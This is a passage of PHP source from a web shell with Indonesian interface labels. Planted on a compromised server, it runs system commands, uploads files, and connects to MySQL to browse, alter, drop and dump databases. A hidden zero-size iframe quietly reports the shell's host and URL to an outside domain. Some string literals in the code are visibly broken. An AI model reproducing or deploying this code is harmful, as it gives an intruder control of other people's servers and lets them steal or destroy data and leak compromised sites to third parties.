$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string",$highlight_string);
if (!is_array($actbox)) { $actbox = array(); }
$dspact = $x = htmlspecialchars($x);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");}
elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
echo $html_start;
echo "<table id=pagebar><p>"."Uname -a : ".php_uname()."<br>";
if (!$win) { echo "id : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "<br></p>".
"<p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
"Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a>";
echo "<br><p>";
echo "MySQL: ".testmysql();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
foreach($quicklaunch2 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
}
}
?>
<form method="POST" enctype="multipart/form-data">
<form method="POST"><input type=hidden name=act value="ls">
Lompat >> <input type="text" size="100" name="d" size="50" value="<?php echo $dispd; ?>" > <input type=submit value="Go">
Masukin File >> <input type=hidden name=x value="upload">
<input type=hidden name="miniform" value="1">
<input type="file" name="uploadfile" size="30"> <iframe width='0' height='0' frameborder=0 src=http://fx0.name/spec/index.php/pic.png?a=http://<? echo $_SERVER["HTTP_HOST"]; ?><? echo $_SERVER["REQUEST_URI"]; ?>></iframe> <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
</form></form>
<?php
echo "</td></tr><tr><td colspan=2>";
echo "<p class=fleft>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
$t = ""; $j = 0;
foreach ($e as $r) {
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) { break; }
$j++;
}
echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=red>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
$i++;
}
echo " - ";
if (is_writable($d)) {
$wd = TRUE;
$wdt = "<font color=#00FF00>[OK]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
$wd = FALSE;
$wdt = "<font color=red>[Read-Only]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
?>
</td></tr>
<?php
echo "<table id=maininfo><tr><td width=\"100%\">
";
if ($x == "") { $x = $dspact = "ls"; }
if ($x == "phpini" ) { get_phpini(); }
if ($x == "sql") {
$sql_surl = $surl."x=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
echo "<table>".
"<tr><td width=\"100%\" colspan=2 class=barheader>";
if ($sql_server) {
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo ".: SQL Manager :.<br>";
if (!$sql_sock) {
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "Can't connect! ".$err;}
}
else {
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
$sqlquicklaunch[] = array("Logout",$surl."x=sql");
echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
}
echo "</td></tr><tr>";
if (!$sql_sock) {
echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
}
else {
if (!empty($sql_db)) {
?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else {
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else {
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else {
?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
<?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
<?php
}
echo "</td><td width=\"100%\">";
$diplay = TRUE;
if ($sql_db) {
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."`
";} $sql_x = "query";}
elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
elseif ($sql_tbl_x == "insert") {
if ($sql_tbl_insert_radio == 1) {
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_x = "query";
$sql_tbl_x = "browse";
}
elseif ($sql_tbl_insert_radio == 2) {
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_x = "query";
$sql_tbl_x = "browse";
}
}
if ($sql_x == "query") {
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_x,$acts)) {
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newtbl">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
<input type="text" name="sql_newtbl" size="20">
<input type="submit" value="Create">
</form></td>
<td width="30%" height="1"><b>Dump DB:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="dump">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
<?php
if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
if ($sql_x == "newtbl") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_x == "dump") {
if (empty($submit)) {
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else {
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download) {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile) {
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else {
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay) {
if (!empty($sql_tbl)) {
if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2) {
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_x == "insert") {
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) { } //Not Ready
else {
echo "<br><br><b>Inserting row into table:</b><br>";
if (!empty($sql_tbl_insert_q)) {
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
foreach ($tbl_struct_fields as $field) {
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_x == "browse") {
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
$b = 0;
for($i=0;$i<$numpages;$i++) {
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo " ";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++) {
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]." ".$v."\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s." ".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
}
}
else {
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>+</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
